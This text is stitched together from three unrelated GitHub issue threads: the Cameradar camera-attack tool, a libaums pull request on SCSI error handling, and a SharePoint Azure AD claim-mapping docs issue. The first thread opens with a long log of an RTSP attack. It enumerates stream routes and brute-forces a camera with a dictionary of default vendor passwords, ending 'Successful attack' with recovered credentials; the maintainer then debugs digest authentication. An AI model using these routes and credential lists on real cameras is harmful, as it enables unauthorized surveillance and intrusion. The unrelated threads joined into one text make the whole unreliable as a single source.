DESCRIBE rtsp://:@<IP_ADDRESS>:8554/HighResolutionVideo RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/LowResolutionVideo RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/MediaInput/h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/MediaInput/mpeg4 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ONVIF/MediaInput RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ONVIF/MediaInput?profile=4_def_profile6 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/StdCh1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/Streaming/Channels/1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/Streaming/Unicast/channels/101 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/StreamingSetting?version=1.0&action=getRTSPStream&ChannelID=1&ChannelName=Channel1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/VideoInput/1/h264/1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/VideoInput/1/mpeg4/1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/access_code RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/access_name_for_stream_1_to_5 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/api/mjpegvideo.cgi RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/av0_0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/av2 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/avc RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/avn=2 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/axis-media/media.amp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/axis-media/media.amp?camera=1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/axis-media/media.amp?videocodec=h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam/realmonitor RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam/realmonitor?channel=0&subtype=0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam/realmonitor?channel=1&subtype=0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam/realmonitor?channel=1&subtype=1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam/realmonitor?channel=1&subtype=1&unicast=true&proto=Onvif RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam0_0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam0_1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1/h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1/h264/multicast RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1/mjpeg RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1/mpeg4 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1/mpeg4?user='username'&pwd='password' RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/cam1/onvif-h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/camera.stm RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch00/0 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch001.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch01.264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch01.264? RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch01.264?ptype=tcp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch0_0.h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch0_unicast_firststream RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch0_unicast_secondstream RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ch1-s1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/channel1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/gnz_media/main RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264/ch1/sub/av_stream RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264/media.amp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264Preview_01_main RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264Preview_01_sub RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/h264_vga.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/image.mpg RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/img/media.sav RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/img/media.sav?channel=1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/img/video.asf RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/img/video.sav RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ioImage/1 RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ipcam.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ipcam_h264.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/ipcam_mjpeg.sdp RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live RTSP/1.0 > 404
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
Attempting to detect authentication methods of 1 streams...ok
DESCRIBE rtsp://<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 1
Stream rtsp://:@<IP_ADDRESS>:8554/live.sdp uses basic authentication method
Attacking credentials of 1 streams...ok
DESCRIBE rtsp://:@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:Vettel05@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:111111@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:1111111@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:1234@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:12345@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:123456@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:12345678@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:4321@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:666666@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:888888@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:9999@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:admin@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:administrator@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:aiphone@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:camera@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:fliradmin@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:hikvision@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:hikadmin@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:ikwd@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:jvc@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:meinsm@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:pass@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:password@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:reolink@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:root@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:service@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:supervisor@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:system@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:toor@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:tp-link@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:ubnt@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://:wbox123@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:Vettel05@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:111111@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:1111111@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:1234@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:12345@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:123456@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:12345678@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:4321@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:666666@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:888888@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:9999@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:admin@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:administrator@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:aiphone@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:camera@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:fliradmin@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:hikvision@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:hikadmin@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:ikwd@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:jvc@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:meinsm@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:pass@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:password@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:reolink@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:root@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:service@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:supervisor@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:system@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:toor@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:tp-link@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:ubnt@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://666666:wbox123@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:Vettel05@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:111111@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:1111111@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:1234@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:12345@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:123456@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:12345678@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:4321@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:666666@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:888888@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:9999@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:admin@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:administrator@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:aiphone@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:camera@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:fliradmin@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:hikvision@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:hikadmin@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:ikwd@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:jvc@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:meinsm@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:pass@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:password@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:reolink@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:root@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:service@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:supervisor@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:system@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:toor@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:tp-link@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:ubnt@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://888888:wbox123@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:Vettel05@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:111111@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:1111111@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:1234@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:12345@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:123456@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:12345678@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:4321@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:666666@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:888888@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:9999@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:admin@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:administrator@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:aiphone@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:camera@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:fliradmin@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:hikvision@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:hikadmin@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:ikwd@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:jvc@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:meinsm@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:pass@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:password@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:reolink@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:root@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:service@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:supervisor@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:system@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:toor@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:tp-link@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:ubnt@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://Admin:wbox123@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://admin:@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://admin:Vettel05@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://admin:111111@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://admin:1111111@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://admin:1234@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 401
DESCRIBE rtsp://admin:12345@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 200
Validating that streams are accessible...ok
SETUP rtsp://admin:12345@<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 200
▶	Device RTSP URL:	rtsp://admin:12345@<IP_ADDRESS>:8554/live.sdp
Available:		✔
IP address:		<IP_ADDRESS>
RTSP port:		8554
Auth type:		basic
Username:		admin
Password:		12345
RTSP route:		/live.sdp

✔ Successful attack: one device was accessed

The problem remains only on digest authentication. also with the test on your RTSPAllTheThings tool.

Alright so the issue is somewhere else then, because as you can see, when using cameradar on RTSPAllTheThings with digest authentication, the logs contain:
DESCRIBE rtsp://<IP_ADDRESS>:8554/live.sdp RTSP/1.0 > 2
Stream rtsp://:@<IP_ADDRESS>:8554/live.sdp uses digest authentication method

while with your camera it's getting CURLAUTH_NEGOTIATE instead of CURLAUTH_DIGEST, so that's something I'll have to find a way to handle.
DESCRIBE rtsp://<IP_ADDRESS>:554/ RTSP/1.0 > 3
Stream rtsp://:@<IP_ADDRESS>:554/ uses unknown: authentication method

It seems that the unsupported protocol errors happen even with valid digest auth, and even on RTSPATT indeed, and I'm able to reproduce it now. I'll look into finding solutions this weekend and I'll let you know :) Thanks for the help in debugging this! 🙏 🙏 🙏 🙏

Since this issue is the most detailed out of the 3 describing the same issue, I'll keep this one and close the other ones as duplicates.
Currently the status on this issue is that I've spent a great deal of time trying to understand what's going on, and I'm completely dumbfounded. It turns out that even reverting to the original commit where digest auth was added, and where in the PR there were reproducible examples to verify that it worked, running the exact same commands no longer works on any of my machines.
I suspected a bug introduced in a recent version of curl, but that doesn't seem to be the case.
Modifying the code in any way in Cameradar didn't seem to solve this issue at all either. I guess I'll need to seek help from someone with more experience with curl, or to switch to another method for making RTSP requests altogether.

i get something like this :
Perform failed: curl: Unsupported protocol

@jeretc Which version of Cameradar are you using? This issue has been fixed in the latest version.

It's pushed on DockerHub under the tags latest, v4, v4.1 and v4.1.1, so feel free to docker pull one of those and try again :)
Also, if you prefer to use the binary version, just make sure that your version of the libcurl package is <7.66.0!
Let me know if it works for you, and thanks for your patience 🙏

hi, do you have some information on how to install older libcurl. i installed cameradar using go. i have the same issue.

Hi @jepunband
You can find download links to all curl versions at https://curl.se/download.html


Implemented ScsiRequestSense error handling

My attempt at fixing various errors in the current implementation.
Currently, all errors are handled by resetting the device. However, the very act of resetting the device will in pretty much all cases make sure any communication is well and truly destroyed and can never be recovered. This approach meant that the only time communication worked with a device was when there were absolutely no errors what so ever.
This fix does a couple of things:

Implements a request sense call whenever a call has a controlled failure. Then depending on what the error was an exception is thrown which can then be handled in an appropriate way at an appropriate level of the code to resume correct communication.
Removed the automatic reset on failure and instead just re-send the command (if appropriate) or send the exception further up the chain where it can be handled.
Retries a command that has a read or write error, i.e. when bulkTransfer returns -1 (typically it works the second time).

At least two issues that I know of are fixed by this approach; intermittent read/write errors and SD card readers with more than one card slot where one of the slots isn't occupied.
It should also be easy to handle more issues that might arise by adding more specified cases in the SenseParser.kt file and thereby being able to catch and handle problems I haven't found yet.
Fixes #278

Hey @Derpalus
first of all, thanks a lot for this amazing contribution! I like that you commented everything thoroughly, definitely helped me understand everything.
I hope you dont mind that I refactored some parts to my personal preference. Please have a look and let me know what you think.

I got rid of the SenseParser and integrated that into the response
When sense command indicates success I am not throwing a Recovered exception anymore. I would consider this as usual behavior and no need for raising an exception.
Removed the write command. I found the terminology confusing in this case. Renamed this to command "without a dataphase".
Some exception which were not sense exception strictly speaking, I converted to IOExecptions.

@Depau Do you want to quickly have a look over this? I guess the biggest change is the removal of the reset procedure, we implemented (inspired by TotalCommander usb plugin). But as far as I remember this procedure was not really successful in reestablishing communication with the USB device anyways?

Seems like reasonable changes. The only thing I can think of is that in the modified retry-loop in ScsiBlockDevice the continue instruction makes the execution path skip the sleep command. But then again I just added that to be on the safe side, I have no idea if it's needed.
Getting rid of that extra write flag was nice as well.
As for the old retry mechanic that I removed, I must say that I doubt it could ever have done anything useful. It was actually quite harmful in a number of cases for me. For example in the case there was a csw error it would just reset the device which will likely just produce the same csw error the next call. A sense is needed to understand why it happens in the first place. And because the sense wasn't used it was impossible to find out if for example a LUN did not contain a storage device. At that point it doesn't matter how many times you restart, the LUN will continue to be empty and return a csw error, trying to get noticed. Also, in case it was a read or write error a simple retry would have worked fine as well. Instead the device was reset, introducing a more severe error.

Oh good catch, the continue expression is pretty much useless there anyways, thanks!
Yeah, I am happy to take the resetting logic out for now, we can still add it if it is useful in some case or people start to see problems because of that. Thanks again :)

You will have to stay on top of which sense exceptions are getting thrown as well. I have only had my devices to see what they throw and sparse documentation on the internet to guess what might be common and what to do.
If you start seeing issues when other devices are using the library, it should be easy to determine which ASC and ASCQ codes they throw (they are added to the exception message string) and implement reasonable handling of those from the description in the SCSI documentation. No more errno = -1 for every type of error ;)

@Depau Do you want to quickly have a look over this? I guess the biggest change is the removal of the reset procedure, we implemented (inspired by TotalCommander usb plugin).

Yes sorry, I've got quite a bit going on and I didn't get the chance to read through the big diff. I will check it now though.

But as far as I remember this procedure was not really successful in reestablishing communication with the USB device anyways?

As far as I can remember (but I don't really trust my memory so it may be inaccurate) the reset is required in case of EPIPE. It does not help in the other cases (in my experience) except for some rare circumstances in which it did recover. Definitely I'd say it won't help if libinput returns -1.
I am going to temporarily merge this into the ci-instrumented-tests branch to see what we get from the CI. Speaking of that, I will try to finish it within the next few months. It does work for the most part which is why I'd like to see how it does with these changes.

The sense exceptions that get "leaked" up to the user should only be the kind of stuff that can't really be handled by the library, such as "write protected media", "storage full", "hardware error", "power cycle required" and stuff like that. That really must be handled by the user to be resolved. Most of it should reasonably happen during initialization however. There is also the "media not inserted" that IS handled a bit higher up in the library.
It's also possible, as we learn more about the sense results from different devices, that we can handle more issues automatically in the library.
As for handling NotReadyTryAgain and InitRequired in the read() and write() functions I'm not sure that works. I kind of try to think about what would cause an InitRequired to pop up during a read operation. It seems like if something like that happens something more severe has happened and that it's unlikely the library can fix that by just trying to read again (maybe the user disconnected the device for example). You would probably have to re-init the device, but after that you can't re-start the read again as that might have been in the middle of a file or something, we have no idea what that was about so we can't transparently resume. Therefore it's better to send it up to the user to handle. Alternatively have the library be much more advanced; taking care of its own lifecycle in some way so it can re-init itself and restart a file download or a string of commands.
It's also possible the commands higher up in the library that use the read()and write() functions are the ones that should handle this. They after all know more about the context than the functions themselves.
But these are things you sort of have to have happen first to figure out what to do or even if it CAN happen during a read() or write(). Anything else is just speculation and adding error handling that you don't know if it does the right thing might break more than it helps, better to get the exception noticed and reported if it happens.

The EPIPE case is interesting though as you say @Depau. I wasn't involved in that so I don't know what that is about. If you have access to a device that has that issue it would be interesting to see how this change affects that and if something has to be adjusted to handle that.

The EPIPE case is interesting though as you say @Depau. I wasn't involved in that so I don't know what that is about. If you have access to a device that has that issue it would be interesting to see how this change affects that and if something has to be adjusted to handle that.

This is where I learned about it: https://elixir.bootlin.com/linux/latest/source/drivers/usb/storage/transport.c#L274
The action itself is still being performed. IDK if we should restrict it to exactly EPIPE or perform it for all errors "just in case".
I don't think it can do any damage other than reducing performance, but the error will reduce performance regardless, so whatever.

Which function in this code is it that can return EPIPE?

Sorry for leaving this open that long. I addressed @Depau's comments and catched the NotReadyTryAgain and the InitRequired exceptions. In addition, I added back the reset procedure for EPIPE.
I will release a new version soon!

I was just about to start on the app that is using this library again as some higher prio work got finished, so the timing is very good.

I noticed you released libaums after merging this but you didn't release libusbcommunication. Is that intended or you forgot? :)
Btw, happy new year!

I noticed you released libaums after merging this but you didn't release libusbcommunication. Is that intended or you forgot? :)
Btw, happy new year!

Fair point, just did that :)
Happy new year to you too!

Fair point, just did that :)
Happy new year to you too!


Add an SPClaimMapping to support Azure AD groups

In the section "Configure SharePoint on-premises Single Sign-On", the script to create the new SPTrustedIdentityTokenIssuer, should have an additional mapping to support security groups. The following worked for me:
$map5 = New-SPClaimTypeMapping -IncomingClaimType "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" -IncomingClaimTypeDisplayName "Group" -SameAsIncoming
Adding this mapping allows group lookups through AzureCP.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: abc120a6-1b98-874a-1cfb-b43456f4a718
Version Independent ID: 1008851f-9a43-953c-e6c1-269397268c72
Content: Tutorial: Azure Active Directory integration with SharePoint on-premises
